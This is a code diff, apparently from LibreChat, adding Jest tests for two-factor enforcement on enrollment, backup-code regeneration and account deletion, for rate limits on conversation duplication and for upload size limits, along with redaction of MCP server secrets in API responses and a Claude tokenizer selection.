@ -0,0 +1,264 @@
const mockGetUserById = jest.fn();
const mockUpdateUser = jest.fn();
const mockVerifyOTPOrBackupCode = jest.fn();
const mockGenerateTOTPSecret = jest.fn();
const mockGenerateBackupCodes = jest.fn();
const mockEncryptV3 = jest.fn();
jest.mock('@librechat/data-schemas', () => ({
encryptV3: (...args) => mockEncryptV3(...args),
logger: { error: jest.fn() },
}));
jest.mock('~/server/services/twoFactorService', () => ({
verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
generateBackupCodes: (...args) => mockGenerateBackupCodes(...args),
generateTOTPSecret: (...args) => mockGenerateTOTPSecret(...args),
verifyBackupCode: jest.fn(),
getTOTPSecret: jest.fn(),
verifyTOTP: jest.fn(),
}));
jest.mock('~/models', () => ({
getUserById: (...args) => mockGetUserById(...args),
updateUser: (...args) => mockUpdateUser(...args),
}));
const { enable2FA, regenerateBackupCodes } = require('~/server/controllers/TwoFactorController');
function createRes() {
const res = {};
res.status = jest.fn().mockReturnValue(res);
res.json = jest.fn().mockReturnValue(res);
return res;
}
const PLAIN_CODES = ['code1', 'code2', 'code3'];
const CODE_OBJECTS = [
{ codeHash: 'h1', used: false, usedAt: null },
{ codeHash: 'h2', used: false, usedAt: null },
{ codeHash: 'h3', used: false, usedAt: null },
];
beforeEach(() => {
jest.clearAllMocks();
mockGenerateTOTPSecret.mockReturnValue('NEWSECRET');
mockGenerateBackupCodes.mockResolvedValue({ plainCodes: PLAIN_CODES, codeObjects: CODE_OBJECTS });
mockEncryptV3.mockReturnValue('encrypted-secret');
});
describe('enable2FA', () => {
it('allows first-time setup without token — writes to pending fields', async () => {
const req = { user: { id: 'user1' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false, email: 'a@b.com' });
mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
await enable2FA(req, res);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith(
expect.objectContaining({ otpauthUrl: expect.any(String), backupCodes: PLAIN_CODES }),
);
expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
const updateCall = mockUpdateUser.mock.calls[0][1];
expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
expect(updateCall).not.toHaveProperty('twoFactorEnabled');
expect(updateCall).not.toHaveProperty('totpSecret');
expect(updateCall).not.toHaveProperty('backupCodes');
});
it('re-enrollment writes to pending fields, leaving live 2FA intact', async () => {
const req = { user: { id: 'user1' }, body: { token: '123456' } };
const res = createRes();
const existingUser = {
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
email: 'a@b.com',
};
mockGetUserById.mockResolvedValue(existingUser);
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
await enable2FA(req, res);
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
user: existingUser,
token: '123456',
backupCode: undefined,
persistBackupUse: false,
});
expect(res.status).toHaveBeenCalledWith(200);
const updateCall = mockUpdateUser.mock.calls[0][1];
expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
expect(updateCall).not.toHaveProperty('twoFactorEnabled');
expect(updateCall).not.toHaveProperty('totpSecret');
});
it('allows re-enrollment with valid backup code (persistBackupUse: false)', async () => {
const req = { user: { id: 'user1' }, body: { backupCode: 'backup123' } };
const res = createRes();
const existingUser = {
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
email: 'a@b.com',
};
mockGetUserById.mockResolvedValue(existingUser);
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
await enable2FA(req, res);
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith(
expect.objectContaining({ persistBackupUse: false }),
);
expect(res.status).toHaveBeenCalledWith(200);
});
it('returns error when no token provided and 2FA is enabled', async () => {
const req = { user: { id: 'user1' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
});
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
await enable2FA(req, res);
expect(res.status).toHaveBeenCalledWith(400);
expect(mockUpdateUser).not.toHaveBeenCalled();
});
it('returns 401 when invalid token provided and 2FA is enabled', async () => {
const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
});
mockVerifyOTPOrBackupCode.mockResolvedValue({
verified: false,
status: 401,
message: 'Invalid token or backup code',
});
await enable2FA(req, res);
expect(res.status).toHaveBeenCalledWith(401);
expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
expect(mockUpdateUser).not.toHaveBeenCalled();
});
});
describe('regenerateBackupCodes', () => {
it('returns 404 when user not found', async () => {
const req = { user: { id: 'user1' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue(null);
await regenerateBackupCodes(req, res);
expect(res.status).toHaveBeenCalledWith(404);
expect(res.json).toHaveBeenCalledWith({ message: 'User not found' });
});
it('requires OTP when 2FA is enabled', async () => {
const req = { user: { id: 'user1' }, body: { token: '123456' } };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
});
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
mockUpdateUser.mockResolvedValue({});
await regenerateBackupCodes(req, res);
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({
backupCodes: PLAIN_CODES,
backupCodesHash: CODE_OBJECTS,
});
});
it('returns error when no token provided and 2FA is enabled', async () => {
const req = { user: { id: 'user1' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
});
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
await regenerateBackupCodes(req, res);
expect(res.status).toHaveBeenCalledWith(400);
});
it('returns 401 when invalid token provided and 2FA is enabled', async () => {
const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
});
mockVerifyOTPOrBackupCode.mockResolvedValue({
verified: false,
status: 401,
message: 'Invalid token or backup code',
});
await regenerateBackupCodes(req, res);
expect(res.status).toHaveBeenCalledWith(401);
expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
});
it('includes backupCodesHash in response', async () => {
const req = { user: { id: 'user1' }, body: { token: '123456' } };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
});
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
mockUpdateUser.mockResolvedValue({});
await regenerateBackupCodes(req, res);
const responseBody = res.json.mock.calls[0][0];
expect(responseBody).toHaveProperty('backupCodesHash', CODE_OBJECTS);
expect(responseBody).toHaveProperty('backupCodes', PLAIN_CODES);
});
it('allows regeneration without token when 2FA is not enabled', async () => {
const req = { user: { id: 'user1' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: false,
});
mockUpdateUser.mockResolvedValue({});
await regenerateBackupCodes(req, res);
expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({
backupCodes: PLAIN_CODES,
backupCodesHash: CODE_OBJECTS,
});
});
});

View file

@ -0,0 +1,302 @@
const mockGetUserById = jest.fn();
const mockDeleteMessages = jest.fn();
const mockDeleteAllUserSessions = jest.fn();
const mockDeleteUserById = jest.fn();
const mockDeleteAllSharedLinks = jest.fn();
const mockDeletePresets = jest.fn();
const mockDeleteUserKey = jest.fn();
const mockDeleteConvos = jest.fn();
const mockDeleteFiles = jest.fn();
const mockGetFiles = jest.fn();
const mockUpdateUserPlugins = jest.fn();
const mockUpdateUser = jest.fn();
const mockFindToken = jest.fn();
const mockVerifyOTPOrBackupCode = jest.fn();
const mockDeleteUserPluginAuth = jest.fn();
const mockProcessDeleteRequest = jest.fn();
const mockDeleteToolCalls = jest.fn();
const mockDeleteUserAgents = jest.fn();
const mockDeleteUserPrompts = jest.fn();
jest.mock('@librechat/data-schemas', () => ({
logger: { error: jest.fn(), info: jest.fn() },
webSearchKeys: [],
}));
jest.mock('librechat-data-provider', () => ({
Tools: {},
CacheKeys: {},
Constants: { mcp_delimiter: '::', mcp_prefix: 'mcp_' },
FileSources: {},
}));
jest.mock('@librechat/api', () => ({
MCPOAuthHandler: {},
MCPTokenStorage: {},
normalizeHttpError: jest.fn(),
extractWebSearchEnvVars: jest.fn(),
}));
jest.mock('~/models', () => ({
deleteAllUserSessions: (...args) => mockDeleteAllUserSessions(...args),
deleteAllSharedLinks: (...args) => mockDeleteAllSharedLinks(...args),
updateUserPlugins: (...args) => mockUpdateUserPlugins(...args),
deleteUserById: (...args) => mockDeleteUserById(...args),
deleteMessages: (...args) => mockDeleteMessages(...args),
deletePresets: (...args) => mockDeletePresets(...args),
deleteUserKey: (...args) => mockDeleteUserKey(...args),
getUserById: (...args) => mockGetUserById(...args),
deleteConvos: (...args) => mockDeleteConvos(...args),
deleteFiles: (...args) => mockDeleteFiles(...args),
updateUser: (...args) => mockUpdateUser(...args),
findToken: (...args) => mockFindToken(...args),
getFiles: (...args) => mockGetFiles(...args),
}));
jest.mock('~/db/models', () => ({
ConversationTag: { deleteMany: jest.fn() },
AgentApiKey: { deleteMany: jest.fn() },
Transaction: { deleteMany: jest.fn() },
MemoryEntry: { deleteMany: jest.fn() },
Assistant: { deleteMany: jest.fn() },
AclEntry: { deleteMany: jest.fn() },
Balance: { deleteMany: jest.fn() },
Action: { deleteMany: jest.fn() },
Group: { updateMany: jest.fn() },
Token: { deleteMany: jest.fn() },
User: {},
}));
jest.mock('~/server/services/PluginService', () => ({
updateUserPluginAuth: jest.fn(),
deleteUserPluginAuth: (...args) => mockDeleteUserPluginAuth(...args),
}));
jest.mock('~/server/services/twoFactorService', () => ({
verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
}));
jest.mock('~/server/services/AuthService', () => ({
verifyEmail: jest.fn(),
resendVerificationEmail: jest.fn(),
}));
jest.mock('~/config', () => ({
getMCPManager: jest.fn(),
getFlowStateManager: jest.fn(),
getMCPServersRegistry: jest.fn(),
}));
jest.mock('~/server/services/Config/getCachedTools', () => ({
invalidateCachedTools: jest.fn(),
}));
jest.mock('~/server/services/Files/S3/crud', () => ({
needsRefresh: jest.fn(),
getNewS3URL: jest.fn(),
}));
jest.mock('~/server/services/Files/process', () => ({
processDeleteRequest: (...args) => mockProcessDeleteRequest(...args),
}));
jest.mock('~/server/services/Config', () => ({
getAppConfig: jest.fn(),
}));
jest.mock('~/models/ToolCall', () => ({
deleteToolCalls: (...args) => mockDeleteToolCalls(...args),
}));
jest.mock('~/models/Prompt', () => ({
deleteUserPrompts: (...args) => mockDeleteUserPrompts(...args),
}));
jest.mock('~/models/Agent', () => ({
deleteUserAgents: (...args) => mockDeleteUserAgents(...args),
}));
jest.mock('~/cache', () => ({
getLogStores: jest.fn(),
}));
const { deleteUserController } = require('~/server/controllers/UserController');
function createRes() {
const res = {};
res.status = jest.fn().mockReturnValue(res);
res.json = jest.fn().mockReturnValue(res);
res.send = jest.fn().mockReturnValue(res);
return res;
}
function stubDeletionMocks() {
mockDeleteMessages.mockResolvedValue();
mockDeleteAllUserSessions.mockResolvedValue();
mockDeleteUserKey.mockResolvedValue();
mockDeletePresets.mockResolvedValue();
mockDeleteConvos.mockResolvedValue();
mockDeleteUserPluginAuth.mockResolvedValue();
mockDeleteUserById.mockResolvedValue();
mockDeleteAllSharedLinks.mockResolvedValue();
mockGetFiles.mockResolvedValue([]);
mockProcessDeleteRequest.mockResolvedValue();
mockDeleteFiles.mockResolvedValue();
mockDeleteToolCalls.mockResolvedValue();
mockDeleteUserAgents.mockResolvedValue();
mockDeleteUserPrompts.mockResolvedValue();
}
beforeEach(() => {
jest.clearAllMocks();
stubDeletionMocks();
});
describe('deleteUserController - 2FA enforcement', () => {
it('proceeds with deletion when 2FA is not enabled', async () => {
const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false });
await deleteUserController(req, res);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
expect(mockDeleteMessages).toHaveBeenCalled();
expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
});
it('proceeds with deletion when user has no 2FA record', async () => {
const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue(null);
await deleteUserController(req, res);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
});
it('returns error when 2FA is enabled and verification fails with 400', async () => {
const req = { user: { id: 'user1', _id: 'user1' }, body: {} };
const res = createRes();
mockGetUserById.mockResolvedValue({
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
});
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
await deleteUserController(req, res);
expect(res.status).toHaveBeenCalledWith(400);
expect(mockDeleteMessages).not.toHaveBeenCalled();
});
it('returns 401 when 2FA is enabled and invalid TOTP token provided', async () => {
const existingUser = {
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
};
const req = { user: { id: 'user1', _id: 'user1' }, body: { token: 'wrong' } };
const res = createRes();
mockGetUserById.mockResolvedValue(existingUser);
mockVerifyOTPOrBackupCode.mockResolvedValue({
verified: false,
status: 401,
message: 'Invalid token or backup code',
});
await deleteUserController(req, res);
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
user: existingUser,
token: 'wrong',
backupCode: undefined,
});
expect(res.status).toHaveBeenCalledWith(401);
expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
expect(mockDeleteMessages).not.toHaveBeenCalled();
});
it('returns 401 when 2FA is enabled and invalid backup code provided', async () => {
const existingUser = {
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
backupCodes: [],
};
const req = { user: { id: 'user1', _id: 'user1' }, body: { backupCode: 'bad-code' } };
const res = createRes();
mockGetUserById.mockResolvedValue(existingUser);
mockVerifyOTPOrBackupCode.mockResolvedValue({
verified: false,
status: 401,
message: 'Invalid token or backup code',
});
await deleteUserController(req, res);
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
user: existingUser,
token: undefined,
backupCode: 'bad-code',
});
expect(res.status).toHaveBeenCalledWith(401);
expect(mockDeleteMessages).not.toHaveBeenCalled();
});
it('deletes account when valid TOTP token provided with 2FA enabled', async () => {
const existingUser = {
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
};
const req = {
user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
body: { token: '123456' },
};
const res = createRes();
mockGetUserById.mockResolvedValue(existingUser);
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
await deleteUserController(req, res);
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
user: existingUser,
token: '123456',
backupCode: undefined,
});
expect(res.status).toHaveBeenCalledWith(200);
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
expect(mockDeleteMessages).toHaveBeenCalled();
});
it('deletes account when valid backup code provided with 2FA enabled', async () => {
const existingUser = {
_id: 'user1',
twoFactorEnabled: true,
totpSecret: 'enc-secret',
backupCodes: [{ codeHash: 'h1', used: false }],
};
const req = {
user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
body: { backupCode: 'valid-code' },
};
const res = createRes();
mockGetUserById.mockResolvedValue(existingUser);
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
await deleteUserController(req, res);
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
user: existingUser,
token: undefined,
backupCode: 'valid-code',
});
expect(res.status).toHaveBeenCalledWith(200);
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
expect(mockDeleteMessages).toHaveBeenCalled();
});
});

View file

@ -1172,7 +1172,11 @@ class AgentClient extends BaseClient {
} }
} }
/** Anthropic Claude models use a distinct BPE tokenizer; all others default to o200k_base. */
getEncoding() { getEncoding() {
if (this.model && this.model.toLowerCase().includes('claude')) {
return 'claude';
}
return 'o200k_base'; return 'o200k_base';
} }

View file

@ -7,9 +7,11 @@
*/ */
const { logger } = require('@librechat/data-schemas'); const { logger } = require('@librechat/data-schemas');
const { const {
MCPErrorCodes,
redactServerSecrets,
redactAllServerSecrets,
isMCPDomainNotAllowedError, isMCPDomainNotAllowedError,
isMCPInspectionFailedError, isMCPInspectionFailedError,
MCPErrorCodes,
} = require('@librechat/api'); } = require('@librechat/api');
const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider'); const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider');
const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config'); const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config');
@ -181,10 +183,8 @@ const getMCPServersList = async (req, res) => {
return res.status(401).json({ message: 'Unauthorized' }); return res.status(401).json({ message: 'Unauthorized' });
} }
// 2. Get all server configs from registry (YAML + DB)
const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId); const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId);
return res.json(redactAllServerSecrets(serverConfigs));
return res.json(serverConfigs);
} catch (error) { } catch (error) {
logger.error('[getMCPServersList]', error); logger.error('[getMCPServersList]', error);
res.status(500).json({ error: error.message }); res.status(500).json({ error: error.message });
@ -215,7 +215,7 @@ const createMCPServerController = async (req, res) => {
); );
res.status(201).json({ res.status(201).json({
serverName: result.serverName, serverName: result.serverName,
...result.config, ...redactServerSecrets(result.config),
}); });
} catch (error) { } catch (error) {
logger.error('[createMCPServer]', error); logger.error('[createMCPServer]', error);
@ -243,7 +243,7 @@ const getMCPServerById = async (req, res) => {
return res.status(404).json({ message: 'MCP server not found' }); return res.status(404).json({ message: 'MCP server not found' });
} }
res.status(200).json(parsedConfig); res.status(200).json(redactServerSecrets(parsedConfig));
} catch (error) { } catch (error) {
logger.error('[getMCPServerById]', error); logger.error('[getMCPServerById]', error);
res.status(500).json({ message: error.message }); res.status(500).json({ message: error.message });
@ -274,7 +274,7 @@ const updateMCPServerController = async (req, res) => {
userId, userId,
); );
res.status(200).json(parsedConfig); res.status(200).json(redactServerSecrets(parsedConfig));
} catch (error) { } catch (error) {
logger.error('[updateMCPServer]', error); logger.error('[updateMCPServer]', error);
const mcpErrorResponse = handleMCPError(error, res); const mcpErrorResponse = handleMCPError(error, res);

View file

@ -48,7 +48,7 @@ const createForkHandler = (ip = true) => {
}; };
await logViolation(req, res, type, errorMessage, forkViolationScore); await logViolation(req, res, type, errorMessage, forkViolationScore);
res.status(429).json({ message: 'Too many conversation fork requests. Try again later' }); res.status(429).json({ message: 'Too many requests. Try again later' });
}; };
}; };

View file

@ -0,0 +1,93 @@
module.exports = {
agents: () => ({ sleep: jest.fn() }),
api: (overrides = {}) => ({
isEnabled: jest.fn(),
resolveImportMaxFileSize: jest.fn(() => 262144000),
createAxiosInstance: jest.fn(() => ({
get: jest.fn(),
post: jest.fn(),
put: jest.fn(),
delete: jest.fn(),
})),
logAxiosError: jest.fn(),
...overrides,
}),
dataSchemas: () => ({
logger: {
debug: jest.fn(),
info: jest.fn(),
warn: jest.fn(),
error: jest.fn(),
},
createModels: jest.fn(() => ({
User: {},
Conversation: {},
Message: {},
SharedLink: {},
})),
}),
dataProvider: (overrides = {}) => ({
CacheKeys: { GEN_TITLE: 'GEN_TITLE' },
EModelEndpoint: {
azureAssistants: 'azureAssistants',
assistants: 'assistants',
},
...overrides,
}),
conversationModel: () => ({
getConvosByCursor: jest.fn(),
getConvo: jest.fn(),
deleteConvos: jest.fn(),
saveConvo: jest.fn(),
}),
toolCallModel: () => ({ deleteToolCalls: jest.fn() }),
sharedModels: () => ({
deleteAllSharedLinks: jest.fn(),
deleteConvoSharedLink: jest.fn(),
}),
requireJwtAuth: () => (req, res, next) => next(),
middlewarePassthrough: () => ({
createImportLimiters: jest.fn(() => ({
importIpLimiter: (req, res, next) => next(),
importUserLimiter: (req, res, next) => next(),
})),
createForkLimiters: jest.fn(() => ({
forkIpLimiter: (req, res, next) => next(),
forkUserLimiter: (req, res, next) => next(),
})),
configMiddleware: (req, res, next) => next(),
validateConvoAccess: (req, res, next) => next(),
}),
forkUtils: () => ({
forkConversation: jest.fn(),
duplicateConversation: jest.fn(),
}),
importUtils: () => ({ importConversations: jest.fn() }),
logStores: () => jest.fn(),
multerSetup: () => ({
storage: {},
importFileFilter: jest.fn(),
}),
multerLib: () =>
jest.fn(() => ({
single: jest.fn(() => (req, res, next) => {
req.file = { path: '/tmp/test-file.json' };
next();
}),
})),
assistantEndpoint: () => ({ initializeClient: jest.fn() }),
};

View file

@ -0,0 +1,135 @@
const express = require('express');
const request = require('supertest');
const MOCKS = '../__test-utils__/convos-route-mocks';
jest.mock('@librechat/agents', () => require(MOCKS).agents());
jest.mock('@librechat/api', () => require(MOCKS).api({ limiterCache: jest.fn(() => undefined) }));
jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
jest.mock('librechat-data-provider', () =>
require(MOCKS).dataProvider({ ViolationTypes: { FILE_UPLOAD_LIMIT: 'file_upload_limit' } }),
);
jest.mock('~/cache/logViolation', () => jest.fn().mockResolvedValue(undefined));
jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
jest.mock('~/models', () => require(MOCKS).sharedModels());
jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
jest.mock('~/server/middleware', () => {
const { createForkLimiters } = jest.requireActual('~/server/middleware/limiters/forkLimiters');
return {
createImportLimiters: jest.fn(() => ({
importIpLimiter: (req, res, next) => next(),
importUserLimiter: (req, res, next) => next(),
})),
createForkLimiters,
configMiddleware: (req, res, next) => next(),
validateConvoAccess: (req, res, next) => next(),
};
});
jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
jest.mock('multer', () => require(MOCKS).multerLib());
jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
describe('POST /api/convos/duplicate - Rate Limiting', () => {
let app;
let duplicateConversation;
const savedEnv = {};
beforeAll(() => {
savedEnv.FORK_USER_MAX = process.env.FORK_USER_MAX;
savedEnv.FORK_USER_WINDOW = process.env.FORK_USER_WINDOW;
savedEnv.FORK_IP_MAX = process.env.FORK_IP_MAX;
savedEnv.FORK_IP_WINDOW = process.env.FORK_IP_WINDOW;
});
afterAll(() => {
for (const key of Object.keys(savedEnv)) {
if (savedEnv[key] === undefined) {
delete process.env[key];
} else {
process.env[key] = savedEnv[key];
}
}
});
const setupApp = () => {
jest.clearAllMocks();
jest.isolateModules(() => {
const convosRouter = require('../convos');
({ duplicateConversation } = require('~/server/utils/import/fork'));
app = express();
app.use(express.json());
app.use((req, res, next) => {
req.user = { id: 'rate-limit-test-user' };
next();
});
app.use('/api/convos', convosRouter);
});
duplicateConversation.mockResolvedValue({
conversation: { conversationId: 'duplicated-conv' },
});
};
describe('user limit', () => {
beforeEach(() => {
process.env.FORK_USER_MAX = '2';
process.env.FORK_USER_WINDOW = '1';
process.env.FORK_IP_MAX = '100';
process.env.FORK_IP_WINDOW = '1';
setupApp();
});
it('should return 429 after exceeding the user rate limit', async () => {
const userMax = parseInt(process.env.FORK_USER_MAX, 10);
for (let i = 0; i < userMax; i++) {
const res = await request(app)
.post('/api/convos/duplicate')
.send({ conversationId: 'conv-123' });
expect(res.status).toBe(201);
}
const res = await request(app)
.post('/api/convos/duplicate')
.send({ conversationId: 'conv-123' });
expect(res.status).toBe(429);
expect(res.body.message).toMatch(/too many/i);
});
});
describe('IP limit', () => {
beforeEach(() => {
process.env.FORK_USER_MAX = '100';
process.env.FORK_USER_WINDOW = '1';
process.env.FORK_IP_MAX = '2';
process.env.FORK_IP_WINDOW = '1';
setupApp();
});
it('should return 429 after exceeding the IP rate limit', async () => {
const ipMax = parseInt(process.env.FORK_IP_MAX, 10);
for (let i = 0; i < ipMax; i++) {
const res = await request(app)
.post('/api/convos/duplicate')
.send({ conversationId: 'conv-123' });
expect(res.status).toBe(201);
}
const res = await request(app)
.post('/api/convos/duplicate')
.send({ conversationId: 'conv-123' });
expect(res.status).toBe(429);
expect(res.body.message).toMatch(/too many/i);
});
});
});

View file

@ -0,0 +1,98 @@
const express = require('express');
const request = require('supertest');
const multer = require('multer');
const importFileFilter = (req, file, cb) => {
if (file.mimetype === 'application/json') {
cb(null, true);
} else {
cb(new Error('Only JSON files are allowed'), false);
}
};
/** Proxy app that mirrors the production multer + error-handling pattern */
function createImportApp(fileSize) {
const app = express();
const upload = multer({
storage: multer.memoryStorage(),
fileFilter: importFileFilter,
limits: { fileSize },
});
const uploadSingle = upload.single('file');
function handleUpload(req, res, next) {
uploadSingle(req, res, (err) => {
if (err && err.code === 'LIMIT_FILE_SIZE') {
return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
}
if (err) {
return next(err);
}
next();
});
}
app.post('/import', handleUpload, (req, res) => {
res.status(201).json({ message: 'success', size: req.file.size });
});
app.use((err, _req, res, _next) => {
res.status(400).json({ error: err.message });
});
return app;
}
describe('Conversation Import - Multer File Size Limits', () => {
describe('multer rejects files exceeding the configured limit', () => {
it('returns 413 for files larger than the limit', async () => {
const limit = 1024;
const app = createImportApp(limit);
const oversized = Buffer.alloc(limit + 512, 'x');
const res = await request(app)
.post('/import')
.attach('file', oversized, { filename: 'import.json', contentType: 'application/json' });
expect(res.status).toBe(413);
expect(res.body.message).toBe('File exceeds the maximum allowed size');
});
it('accepts files within the limit', async () => {
const limit = 4096;
const app = createImportApp(limit);
const valid = Buffer.from(JSON.stringify({ title: 'test' }));
const res = await request(app)
.post('/import')
.attach('file', valid, { filename: 'import.json', contentType: 'application/json' });
expect(res.status).toBe(201);
expect(res.body.message).toBe('success');
});
it('rejects at the exact boundary (limit + 1 byte)', async () => {
const limit = 512;
const app = createImportApp(limit);
const boundary = Buffer.alloc(limit + 1, 'a');
const res = await request(app)
.post('/import')
.attach('file', boundary, { filename: 'import.json', contentType: 'application/json' });
expect(res.status).toBe(413);
});
it('accepts a file just under the limit', async () => {
const limit = 512;
const app = createImportApp(limit);
const underLimit = Buffer.alloc(limit - 1, 'b');
const res = await request(app)
.post('/import')
.attach('file', underLimit, { filename: 'import.json', contentType: 'application/json' });
expect(res.status).toBe(201);
});
});
});

View file

@ -1,109 +1,24 @@
const express = require('express'); const express = require('express');
const request = require('supertest'); const request = require('supertest');
jest.mock('@librechat/agents', () => ({ const MOCKS = '../__test-utils__/convos-route-mocks';
sleep: jest.fn(),
}));
jest.mock('@librechat/api', () => ({ jest.mock('@librechat/agents', () => require(MOCKS).agents());
isEnabled: jest.fn(), jest.mock('@librechat/api', () => require(MOCKS).api());
createAxiosInstance: jest.fn(() => ({ jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
get: jest.fn(), jest.mock('librechat-data-provider', () => require(MOCKS).dataProvider());
post: jest.fn(), jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
put: jest.fn(), jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
delete: jest.fn(), jest.mock('~/models', () => require(MOCKS).sharedModels());
})), jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
logAxiosError: jest.fn(), jest.mock('~/server/middleware', () => require(MOCKS).middlewarePassthrough());
})); jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
jest.mock('@librechat/data-schemas', () => ({ jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
logger: { jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
debug: jest.fn(), jest.mock('multer', () => require(MOCKS).multerLib());
info: jest.fn(), jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
warn: jest.fn(), jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
error: jest.fn(),
},
createModels: jest.fn(() => ({
User: {},
Conversation: {},
Message: {},
SharedLink: {},
})),
}));
jest.mock('~/models/Conversation', () => ({
getConvosByCursor: jest.fn(),
getConvo: jest.fn(),
deleteConvos: jest.fn(),
saveConvo: jest.fn(),
}));
jest.mock('~/models/ToolCall', () => ({
deleteToolCalls: jest.fn(),
}));
jest.mock('~/models', () => ({
deleteAllSharedLinks: jest.fn(),
deleteConvoSharedLink: jest.fn(),
}));
jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
jest.mock('~/server/middleware', () => ({
